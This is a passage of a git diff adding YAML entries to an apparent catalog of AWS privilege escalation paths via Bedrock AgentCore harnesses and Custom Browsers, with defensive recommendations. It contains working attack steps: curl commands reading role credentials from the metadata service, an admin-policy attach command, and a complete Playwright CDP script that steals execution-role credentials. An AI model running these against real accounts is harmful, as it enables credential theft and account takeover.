on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. + - id: target_role + label: Existing Role That Trusts the bedrock-agentcore Service + type: principal + description: The IAM role passed to the harness as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role and serves its temporary credentials on MMDS at the execution_role endpoint inside the microVM. + - id: method_sdk_attack + label: 'Method 1: Act directly from the root shell' + type: payload + color: '#99ccff' + description: | + The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + aws iam attach-user-policy \ + --user-name attacker-user \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + - id: method_cred_exfil + label: 'Method 2: Exfiltrate credentials to the response stream' + type: payload + color: '#99ccff' + description: | + The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + ``` + + This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire. + - id: admin + label: Effective Administrator + type: outcome + description: The execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account. + - id: some_perms + label: Some additional access + type: outcome + color: '#ffeb99' + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. + - id: no_access + label: No additional access + type: outcome + color: '#cccccc' + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would pass a different role. + edges: + - from: start + to: harness + label: iam:PassRole + bedrock-agentcore:CreateHarness + description: | + Create a new AgentCore Harness and pass the target role to it as the execution role. The harness provisions a runtime on a Firecracker microVM with access to MMDS. + + Command: + ```bash + aws bedrock-agentcore-control create-harness \ + --harness-name atk_harness \ + --execution-role-arn $EXECUTION_ROLE \ + --model '{"bedrockModelConfig":{"modelId":""}}' + ``` + - from: harness + to: target_role + label: Harness runtime assumes the execution role + description: AgentCore assumes the passed execution role and serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role inside the harness microVM. + - from: target_role + to: method_sdk_attack + label: Option A + branch: A + description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly. + - from: target_role + to: method_cred_exfil + label: Option B + branch: B + description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location. + - from: method_sdk_attack + to: admin + label: If the execution role has admin permissions + branch: A1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys. + - from: method_sdk_attack + to: some_perms + label: If the execution role has some elevated permissions + branch: A2 + condition: some_permissions + description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources. + - from: method_sdk_attack + to: no_access + label: If the execution role has minimal permissions + branch: A3 + condition: no_permissions + description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would pass a different role. + - from: method_cred_exfil + to: admin + label: If the execution role has admin permissions + branch: B1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location. + - from: method_cred_exfil + to: some_perms + label: If the execution role has some elevated permissions + branch: B2 + condition: some_permissions + description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks. + - from: method_cred_exfil + to: no_access + label: If the execution role has minimal permissions + branch: B3 + condition: no_permissions + description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation. diff --git a/data/paths/bedrock/bedrock-006.yaml b/data/paths/bedrock/bedrock-006.yaml new file mode 100644 index 00000000..c1bc1b9c --- /dev/null +++ b/data/paths/bedrock/bedrock-006.yaml @@ -0,0 +1,237 @@ +id: bedrock-006 +name: iam:PassRole + bedrock-agentcore:CreateBrowser + bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream +category: new-passrole +services: +- iam +- bedrock-agentcore +permissions: + required: + - permission: iam:PassRole + resourceConstraints: Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com + - permission: bedrock-agentcore:CreateBrowser + resourceConstraints: Must have permission to create Bedrock AgentCore Custom Browsers + - permission: bedrock-agentcore:StartBrowserSession + resourceConstraints: Must have permission to start sessions on the created browser + - permission: bedrock-agentcore:ConnectBrowserAutomationStream + resourceConstraints: Must have permission to connect a remote automation driver to the browser session + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering AgentCore execution roles available to pass + - permission: iam:GetRole + resourceConstraints: Useful for viewing role trust policies and attached permissions + - permission: bedrock-agentcore:GetBrowser + resourceConstraints: Useful for confirming the new browser reached a READY state before starting a session +description: A principal with `iam:PassRole`, `bedrock-agentcore:CreateBrowser`, `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` can create a Custom Browser with a privileged IAM execution role and drive the browser over Chrome DevTools Protocol (CDP) to read the execution role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254. The execution role is optional at browser creation, so the attacker attaches the target role on purpose. The attacker presigns the automation WebSocket, connects with a CDP client such as Playwright and installs a request hook that rewrites the MMDS token request from GET to PUT and injects the token header, then navigates to the role-credentials endpoint and reads the response. Creating the browser rather than targeting an existing one lets the attacker pick exactly which role to escalate to. +prerequisites: + admin: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it + - The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) + lateral: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it +exploitationSteps: + awscli: + - step: 1 + command: 'export AWS_REGION=[your region] + + export EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore] + + pip install playwright boto3 && playwright install chromium + + which jq + + ' + description: Set up session variables and install the Playwright CDP client used as the automation driver + - step: 2 + command: | + BROWSER_ID=$(aws bedrock-agentcore-control create-browser \ + --name atk_browser \ + --execution-role-arn $EXECUTION_ROLE \ + --network-configuration '{"networkMode":"PUBLIC"}' | jq -r .browserId) + description: Create a Custom Browser with the privileged execution role + - step: 3 + command: | + cat << 'EOF' > "get_creds_from_browser.py" + import boto3, sys + from botocore.auth import SigV4QueryAuth + from botocore.awsrequest import AWSRequest + from playwright.sync_api import sync_playwright + + BROWSER_ID = sys.argv[1] + REGION = sys.argv[2] + + client = boto3.client("bedrock-agentcore", region_name=REGION) + session_id = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)["sessionId"] + + creds = boto3.Session().get_credentials().get_frozen_credentials() + url = f"https://bedrock-agentcore.{REGION}.amazonaws.com/browser-streams/{BROWSER_ID}/sessions/{session_id}/automation" + request = AWSRequest(method="GET", url=url) + SigV4QueryAuth(creds, "bedrock-agentcore", REGION, expires=60).add_auth(request) + ws_url = request.url.replace("https://", "wss://") + + with sync_playwright() as p: + browser = p.chromium.connect_over_cdp(ws_url) + page = browser.contexts[0].pages[0] + token = {"value": ""} + + def rewrite(route): + if "/latest/api/token" in route.request.url: + route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"}) + else: + route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]}) + + page.context.route("http://169.254.169.254/**", rewrite) + + page.goto("http://169.254.169.254/latest/api/token") + token["value"] = page.locator("pre").text_content().strip() + page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role") + print(page.locator("pre").text_content()) + EOF + description: Create the python file that presigns the automation WebSocket, connects over CDP and reads the execution role credentials from MMDS via a context.route hook that rewrites GET to PUT and injects the MMDSv2 token header + - step: 4 + command: python3 get_creds_from_browser.py $BROWSER_ID $AWS_REGION + description: Run the driver against the new browser to print the execution role credentials + - step: 5 + command: 'export AWS_ACCESS_KEY_ID= + + export AWS_SECRET_ACCESS_KEY= + + export AWS_SESSION_TOKEN= + + aws sts get-caller-identity + + ' + description: Use the stolen credentials to act as the browser execution role +recommendation: | + High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. + + - **Avoid administrative service roles** - Very rarely does a Custom Browser need administrative access. Use the principle of least privilege and start from AWS's documented browser execution role policy. + - **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. + - **Create Custom Browsers without an execution role when the workload does not need AWS API access from inside the sandbox** - A role-less browser has no credentials to leak on MMDS. + + Use IAM policy conditions to restrict which roles can be passed and to which services: + + ```json + { + "Effect": "Allow", + "Action": "iam:PassRole", + "Resource": "arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreBrowserRole", + "Condition": { + "StringEquals": { + "iam:PassedToService": "bedrock-agentcore.amazonaws.com" + } + } + } + ``` + + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::BrowserCustom` resource type to capture `StartBrowserSession` and the automation stream connection + - Custom Browser only exposes session-metadata usage logs; what happens inside the automation stream (the MMDS read) is not visible to AWS, so prevention and role scoping matter more than detection here + - Monitor CloudTrail for browser creation followed by an immediate session start, and for browsers created by principals who do not usually deploy AgentCore + - Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before + - Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com and down-scope any with administrative access +limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. + + ' +discoveryAttribution: + firstDocumented: + author: Sergio Garcia + organization: BeyondTrust Phantom Labs + date: 2026 + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +references: +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +- title: Understanding Credentials Management in Amazon Bedrock AgentCore + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html +- title: Amazon Bedrock AgentCore Browser tool + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/browser-tool.html +relatedPaths: +- bedrock-003 +- bedrock-007 +- ec2-001 +- sagemaker-001 +attackVisualization: + nodes: + - id: start + label: Starting Principal + type: principal + description: The principal with iam:PassRole and the bedrock-agentcore browser create, session and automation permissions. Can be an IAM user or role. This is the attacker's initial access point. + - id: browser + label: New Custom Browser + type: resource + description: A new AgentCore Custom Browser created with a privileged execution role. The browser is a managed Chromium runtime on a Firecracker microVM that exposes the role credentials on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. + - id: target_role + label: Existing Role That Trusts the bedrock-agentcore Service + type: principal + description: The IAM role passed to the browser as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role and serves its temporary credentials on MMDS at the execution_role endpoint inside the browser microVM. + - id: cdp_read + label: CDP-driven MMDS read + type: payload + color: '#99ccff' + description: | + The attacker presigns the automation WebSocket, connects a CDP client such as Playwright and installs a context.route hook that operates one layer below the page. A direct in-page request is blocked because browsers refuse cross-origin PUT requests and MMDS does not opt in, so the hook rewrites the token request from GET to PUT and injects the MMDSv2 token header on subsequent requests. The browser then navigates to the credentials endpoint and the driver reads the role credentials out of the page. + + Key part of the driver: + ```python + def rewrite(route): + if "/latest/api/token" in route.request.url: + route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"}) + else: + route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]}) + + page.context.route("http://169.254.169.254/**", rewrite) + page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role") + ``` + - id: admin + label: Effective Administrator + type: outcome + description: The execution role has AdministratorAccess or equivalent permissions, so the credentials read out of the browser give the attacker full administrative access to the AWS account. + - id: some_perms + label: Some additional access + type: outcome + color: '#ffeb99' + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. + - id: no_access + label: No additional access + type: outcome + color: '#cccccc' + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would pass a different role. + edges: + - from: start + to: browser + label: iam:PassRole + bedrock-agentcore:CreateBrowser + description: | + Create a new Custom Browser and pass the target role to it as the execution role. The browser runs Chromium on a Firecracker microVM with access to MMDS. + + Command: + ```bash + aws bedrock-agentcore-control create-browser \ + --name atk_browser \ + --execution-role-arn $EXECUTION_ROLE \ + --network-configuration '{"networkMode":"PUBLIC"}' + ``` + - from: browser + to: target_role + label: Browser assumes the execution role + description: AgentCore assumes the passed execution role and serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role inside the browser microVM. + - from: target_role + to: cdp_read + label: bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream + description: The attacker starts a browser session, presigns the automation WebSocket and connects a CDP driver that rewrites the browser outbound requests to read the role credentials from MMDS. + - from: cdp_read + to: admin + label: If the execution role has admin permissions + branch: A + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the credentials read out of the browser give the attacker full administrative access to the AWS account from any location. + - from: cdp_read + to: some_perms + label: If the execution role has some elevated permissions + branch: B + condition: some_permissions + description: If the execution role has some elevated permissions, the stolen credentials can be used for lateral movement or additional attacks. + - from: cdp_read + to: no_access + label: If the execution role has minimal permissions + branch: C + condition: no_permissions + description: If the execution role only has minimal permissions, the stolen credentials provide limited value for privilege escalation. diff --git a/data/paths/bedrock/bedrock-007.yaml b/data/paths/bedrock/bedrock-007.yaml new file mode 100644 index 00000000..c9f63869 --- /dev/null +++ b/data/paths/bedrock/bedrock-007.yaml @@ -0,0 +1,221 @@ +id: bedrock-007 +name: bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream +category: existing-passrole +services: +- bedrock-agentcore +description: A principal with `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` can access an existing AgentCore Custom Browser that has a privileged IAM execution role attached and drive it over Chrome DevTools Protocol (CDP) to read the execution role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254. This path does not require `iam:PassRole` because the role is already attached to the existing browser. The attacker presigns the automation WebSocket, connects with a CDP client such as Playwright and installs a request hook that rewrites the MMDS token request from GET to PUT and injects the token header, then navigates to the role-credentials endpoint and reads the response. The execution role is optional at browser creation, so only browsers created with a role attached are affected. +prerequisites: + admin: + - An AgentCore Custom Browser must exist with an IAM execution role attached + - The browser execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) + lateral: + - An AgentCore Custom Browser must exist with an IAM execution role attached +exploitationSteps: + awscli: + - step: 1 + command: 'export AWS_REGION=[your region] + + pip install playwright boto3 && playwright install chromium + + ' + description: Set up session variables and install the Playwright CDP client used as the automation driver + - step: 2 + command: 'aws bedrock-agentcore-control list-browsers + + aws bedrock-agentcore-control get-browser --browser-id BROWSER_ID + + ' + description: List existing Custom Browsers and confirm the target has a privileged execution role attached + - step: 3 + command: | + cat << 'EOF' > "get_creds_from_browser.py" + import boto3, sys + from botocore.auth import SigV4QueryAuth + from botocore.awsrequest import AWSRequest + from playwright.sync_api import sync_playwright + + BROWSER_ID = sys.argv[1] + REGION = sys.argv[2] + + client = boto3.client("bedrock-agentcore", region_name=REGION) + session_id = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)["sessionId"] + + creds = boto3.Session().get_credentials().get_frozen_credentials() + url = f"https://bedrock-agentcore.{REGION}.amazonaws.com/browser-streams/{BROWSER_ID}/sessions/{session_id}/automation" + request = AWSRequest(method="GET", url=url) + SigV4QueryAuth(creds, "bedrock-agentcore", REGION, expires=60).add_auth(request) + ws_url = request.url.replace("https://", "wss://") + + with sync_playwright() as p: + browser = p.chromium.connect_over_cdp(ws_url) + page = browser.contexts[0].pages[0] + token = {"value": ""} + + def rewrite(route): + if "/latest/api/token" in route.request.url: + route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"}) + else: + route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]}) + + page.context.route("http://169.254.169.254/**", rewrite) + + page.goto("http://169.254.169.254/latest/api/token") + token["value"] = page.locator("pre").text_content().strip() + page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role") + print(page.locator("pre").text_content()) + EOF + description: Create the python file that presigns the automation WebSocket, connects over CDP and reads the execution role credentials from MMDS via a context.route hook that rewrites GET to PUT and injects the MMDSv2 token header + - step: 4 + command: python3 get_creds_from_browser.py $BROWSER_ID $AWS_REGION + description: Run the driver against the existing browser to print the execution role credentials + - step: 5 + command: 'export AWS_ACCESS_KEY_ID= + + export AWS_SECRET_ACCESS_KEY= + + export AWS_SESSION_TOKEN= + + aws sts get-caller-identity + + ' + description: Use the stolen credentials to act as the browser execution role +recommendation: | + Restrict the `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` permissions using resource-level constraints. + + ```json + { + "Effect": "Allow", + "Action": [ + "bedrock-agentcore:StartBrowserSession", + "bedrock-agentcore:ConnectBrowserAutomationStream" + ], + "Resource": "arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:browser/SpecificBrowser" + } + ``` + + Additional controls: + - Create Custom Browsers without an execution role when the workload does not need AWS API access from inside the sandbox; a role-less browser has no credentials to leak on MMDS + - Review and minimize execution role permissions on existing browsers, and remove the role entirely where it is not used + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::BrowserCustom` resource type to capture session starts and automation stream connections + - Custom Browser only exposes session-metadata usage logs; the MMDS read inside the automation stream is not visible to AWS, so role scoping and access restriction matter more than detection here + - Anyone with view access on the browser can observe whatever the driver navigates to in the live session view, so restrict that access as well + - Regularly audit execution roles attached to existing browsers and the principals that can start sessions on them +limitations: 'This path provides administrative access only if the target browser execution role has administrative permissions. The attacker gains whatever permissions the browser role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data. + + ' +discoveryAttribution: + firstDocumented: + author: Sergio Garcia + organization: BeyondTrust Phantom Labs + date: 2026 + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation + derivativeOf: + pathId: bedrock-006 + modification: Targets an existing Custom Browser instead of creating one, eliminating the need for iam:PassRole and bedrock-agentcore:CreateBrowser; the CDP-driven MMDS read is identical +references: +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +- title: Understanding Credentials Management in Amazon Bedrock AgentCore + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html +- title: Amazon Bedrock AgentCore Browser tool + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/browser-tool.html +relatedPaths: +- bedrock-002 +- bedrock-004 +- bedrock-006 +- ec2-002 +permissions: + required: + - permission: bedrock-agentcore:StartBrowserSession + resourceConstraints: Target browser must be in the Resource section + - permission: bedrock-agentcore:ConnectBrowserAutomationStream + resourceConstraints: Target browser must be in the Resource section + additional: + - permission: bedrock-agentcore:ListBrowsers + resourceConstraints: List the Custom Browsers that already exist + - permission: bedrock-agentcore:GetBrowser + resourceConstraints: Identify the execution role attached to a target browser +attackVisualization: + nodes: + - id: start + label: Starting Principal + type: principal + description: The principal with bedrock-agentcore:StartBrowserSession and bedrock-agentcore:ConnectBrowserAutomationStream. Can be an IAM user or role. This attack targets an existing browser rather than creating one, so iam:PassRole is not required. + - id: browser + label: Existing Custom Browser + type: resource + description: An existing AgentCore Custom Browser with a privileged execution role already attached. The browser is a managed Chromium runtime on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. + - id: execution_role + label: Browser Execution Role + type: principal + description: The IAM role attached to the browser as its execution role. AgentCore serves this role's temporary credentials on MMDS at the execution_role endpoint inside the browser microVM. This role must trust bedrock-agentcore.amazonaws.com in its trust policy. + - id: cdp_read + label: CDP-driven MMDS read + type: payload + color: '#99ccff' + description: | + The attacker presigns the automation WebSocket, connects a CDP client such as Playwright and installs a context.route hook that operates one layer below the page. A direct in-page request is blocked because browsers refuse cross-origin PUT requests and MMDS does not opt in, so the hook rewrites the token request from GET to PUT and injects the MMDSv2 token header on subsequent requests. The browser then navigates to the credentials endpoint and the driver reads the role credentials out of the page. + + Key part of the driver: + ```python + def rewrite(route): + if "/latest/api/token" in route.request.url: + route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"}) + else: + route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]}) + + page.context.route("http://169.254.169.254/**", rewrite) + page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role") + ``` + - id: admin + label: Effective Administrator + type: outcome + description: The browser execution role has AdministratorAccess or equivalent permissions, so the credentials read out of the browser give the attacker full administrative access to the AWS account. + - id: some_perms + label: Some additional access + type: outcome + color: '#ffeb99' + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. + - id: no_access + label: No additional access + type: outcome + color: '#cccccc' + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different browser. + edges: + - from: start + to: browser + label: Target existing Custom Browser + description: | + Identify an existing Custom Browser that has a privileged execution role attached. Use the list and get control-plane calls to discover candidates and confirm their execution role. + + Commands: + ```bash + aws bedrock-agentcore-control list-browsers + aws bedrock-agentcore-control get-browser --browser-id BROWSER_ID + ``` + - from: browser + to: execution_role + label: bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream + description: The attacker starts a browser session, presigns the automation WebSocket and connects a CDP driver to the existing browser. The driver has a path to the execution role credentials on MMDS inside the microVM. + - from: execution_role + to: cdp_read + label: Drive the browser over CDP to read MMDS + description: The attacker installs the context.route hook and navigates the browser to the MMDS endpoints, reading the role credentials out of the page. + - from: cdp_read + to: admin + label: If the execution role has admin permissions + branch: A + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the credentials read out of the browser give the attacker full administrative access to the AWS account from any location. + - from: cdp_read + to: some_perms + label: If the execution role has some elevated permissions + branch: B + condition: some_permissions + description: If the execution role has some elevated permissions, the stolen credentials can be used for lateral movement or additional attacks. + - from: cdp_read + to: no_access + label: If the execution role has minimal permissions + branch: C + condition: no_permissions + description: If the execution role only has minimal permissions, the stolen credentials provide limited value for privilege escalation.